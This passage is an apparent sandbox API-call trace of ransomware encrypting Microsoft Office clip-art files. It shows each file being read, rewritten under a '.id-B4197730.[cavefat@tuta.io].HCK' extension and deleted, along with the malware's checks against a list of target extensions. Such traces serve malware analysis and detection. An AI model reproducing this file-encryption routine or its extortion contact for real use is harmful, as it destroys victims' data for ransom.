[0154.666] SetEndOfFile (hFile=0x2f4) returned 1 [0154.667] CloseHandle (hObject=0x2f4) returned 1 [0154.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0154.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.668] lstrlenW (lpString=".doc") returned 4 [0154.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString=".docx") returned 5 [0154.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.668] lstrlenW (lpString=".pdf") returned 4 [0154.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString=".xls") returned 4 [0154.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.668] lstrlenW (lpString=".xlsx") returned 5 [0154.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.668] lstrlenW (lpString=".ppt") returned 4 [0154.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.668] lstrlenW (lpString=".zip") returned 4 [0154.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.668] lstrlenW (lpString=".rar") returned 4 [0154.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.668] lstrlenW (lpString=".bz2") returned 4 [0154.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString=".7z") returned 3 [0154.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.669] lstrlenW (lpString=".dbf") returned 4 [0154.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.669] lstrlenW (lpString=".1cd") returned 4 [0154.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.669] lstrlenW (lpString=".jpg") returned 4 [0154.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.669] lstrlenW (lpString=".doc") returned 4 [0154.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString=".docx") returned 5 [0154.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.669] lstrlenW (lpString=".pdf") returned 4 [0154.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString=".xls") returned 4 [0154.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.669] lstrlenW (lpString=".xlsx") returned 5 [0154.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.669] lstrlenW (lpString=".ppt") returned 4 [0154.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.669] lstrlenW (lpString=".zip") returned 4 [0154.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.669] lstrlenW (lpString=".rar") returned 4 [0154.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString=".bz2") returned 4 [0154.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString=".7z") returned 3 [0154.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.669] lstrlenW (lpString=".dbf") returned 4 [0154.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.669] lstrlenW (lpString=".1cd") returned 4 [0154.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0154.669] lstrlenW (lpString=".jpg") returned 4 [0154.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.670] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0154.670] lstrlenW (lpString="AN01216_.WMF") returned 12 [0154.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0154.670] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5836) returned 1 [0154.670] CloseHandle (hObject=0x2f4) returned 1 [0154.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0154.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0154.670] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.670] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0154.671] GetLastError () returned 0x0 [0154.671] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x16cc, lpOverlapped=0x0) returned 1 [0154.672] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x16d0, lpOverlapped=0x0) returned 1 [0154.673] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.673] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.673] SetEndOfFile (hFile=0x394) returned 1 [0154.673] CloseHandle (hObject=0x394) returned 1 [0154.674] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.674] SetEndOfFile (hFile=0x2f4) returned 1 [0154.675] CloseHandle (hObject=0x2f4) returned 1 [0154.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.675] lstrlenW (lpString=".doc") returned 4 [0154.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.676] lstrlenW (lpString=".docx") returned 5 [0154.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.676] lstrlenW (lpString=".pdf") returned 4 [0154.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.676] lstrlenW (lpString=".xls") returned 4 [0154.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.676] lstrlenW (lpString=".xlsx") returned 5 [0154.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.676] lstrlenW (lpString=".ppt") returned 4 [0154.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.676] lstrlenW (lpString=".zip") returned 4 [0154.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.676] lstrlenW (lpString=".rar") returned 4 [0154.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.676] lstrlenW (lpString=".bz2") returned 4 [0154.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.676] lstrlenW (lpString=".7z") returned 3 [0154.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.676] lstrlenW (lpString=".dbf") returned 4 [0154.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.676] lstrlenW (lpString=".1cd") returned 4 [0154.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.676] lstrlenW (lpString=".jpg") returned 4 [0154.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.676] lstrlenW (lpString=".doc") returned 4 [0154.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.676] lstrlenW (lpString=".docx") returned 5 [0154.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.676] lstrlenW (lpString=".pdf") returned 4 [0154.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.676] lstrlenW (lpString=".xls") returned 4 [0154.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.676] lstrlenW (lpString=".xlsx") returned 5 [0154.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.677] lstrlenW (lpString=".ppt") returned 4 [0154.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.677] lstrlenW (lpString=".zip") returned 4 [0154.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.677] lstrlenW (lpString=".rar") returned 4 [0154.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.677] lstrlenW (lpString=".bz2") returned 4 [0154.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.677] lstrlenW (lpString=".7z") returned 3 [0154.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.677] lstrlenW (lpString=".dbf") returned 4 [0154.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.677] lstrlenW (lpString=".1cd") returned 4 [0154.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0154.677] lstrlenW (lpString=".jpg") returned 4 [0154.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.677] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0154.677] lstrlenW (lpString="AN01218_.WMF") returned 12 [0154.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0154.677] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3012) returned 1 [0154.677] CloseHandle (hObject=0x2f4) returned 1 [0154.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0154.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0154.678] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.678] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0154.678] GetLastError () returned 0x0 [0154.678] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xbc4, lpOverlapped=0x0) returned 1 [0154.680] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xbd0, lpOverlapped=0x0) returned 1 [0154.680] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.680] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.680] SetEndOfFile (hFile=0x394) returned 1 [0154.681] CloseHandle (hObject=0x394) returned 1 [0154.681] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.681] SetEndOfFile (hFile=0x2f4) returned 1 [0154.682] CloseHandle (hObject=0x2f4) returned 1 [0154.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0155.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.146] lstrlenW (lpString=".doc") returned 4 [0155.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.148] lstrlenW (lpString=".docx") returned 5 [0155.148] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.148] lstrlenW (lpString=".pdf") returned 4 [0155.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.151] lstrlenW (lpString=".xls") returned 4 [0155.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.153] lstrlenW (lpString=".xlsx") returned 5 [0155.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.153] lstrlenW (lpString=".ppt") returned 4 [0155.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.153] lstrlenW (lpString=".zip") returned 4 [0155.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.153] lstrlenW (lpString=".rar") returned 4 [0155.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.153] lstrlenW (lpString=".bz2") returned 4 [0155.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.153] lstrlenW (lpString=".7z") returned 3 [0155.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.153] lstrlenW (lpString=".dbf") returned 4 [0155.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.153] lstrlenW (lpString=".1cd") returned 4 [0155.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.153] lstrlenW (lpString=".jpg") returned 4 [0155.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.154] lstrlenW (lpString=".doc") returned 4 [0155.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.154] lstrlenW (lpString=".docx") returned 5 [0155.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.154] lstrlenW (lpString=".pdf") returned 4 [0155.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.154] lstrlenW (lpString=".xls") returned 4 [0155.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.154] lstrlenW (lpString=".xlsx") returned 5 [0155.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.154] lstrlenW (lpString=".ppt") returned 4 [0155.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.154] lstrlenW (lpString=".zip") returned 4 [0155.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.154] lstrlenW (lpString=".rar") returned 4 [0155.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.154] lstrlenW (lpString=".bz2") returned 4 [0155.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.154] lstrlenW (lpString=".7z") returned 3 [0155.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.154] lstrlenW (lpString=".dbf") returned 4 [0155.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.154] lstrlenW (lpString=".1cd") returned 4 [0155.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0155.154] lstrlenW (lpString=".jpg") returned 4 [0155.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.154] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.154] lstrlenW (lpString="AN04384_.WMF") returned 12 [0155.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.155] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4996) returned 1 [0155.155] CloseHandle (hObject=0x30c) returned 1 [0155.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0155.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.155] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.155] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.156] GetLastError () returned 0x0 [0155.156] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1384, lpOverlapped=0x0) returned 1 [0155.157] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1390, lpOverlapped=0x0) returned 1 [0155.158] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.158] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.158] SetEndOfFile (hFile=0x308) returned 1 [0155.158] CloseHandle (hObject=0x308) returned 1 [0155.159] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.159] SetEndOfFile (hFile=0x30c) returned 1 [0155.159] CloseHandle (hObject=0x30c) returned 1 [0155.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.160] 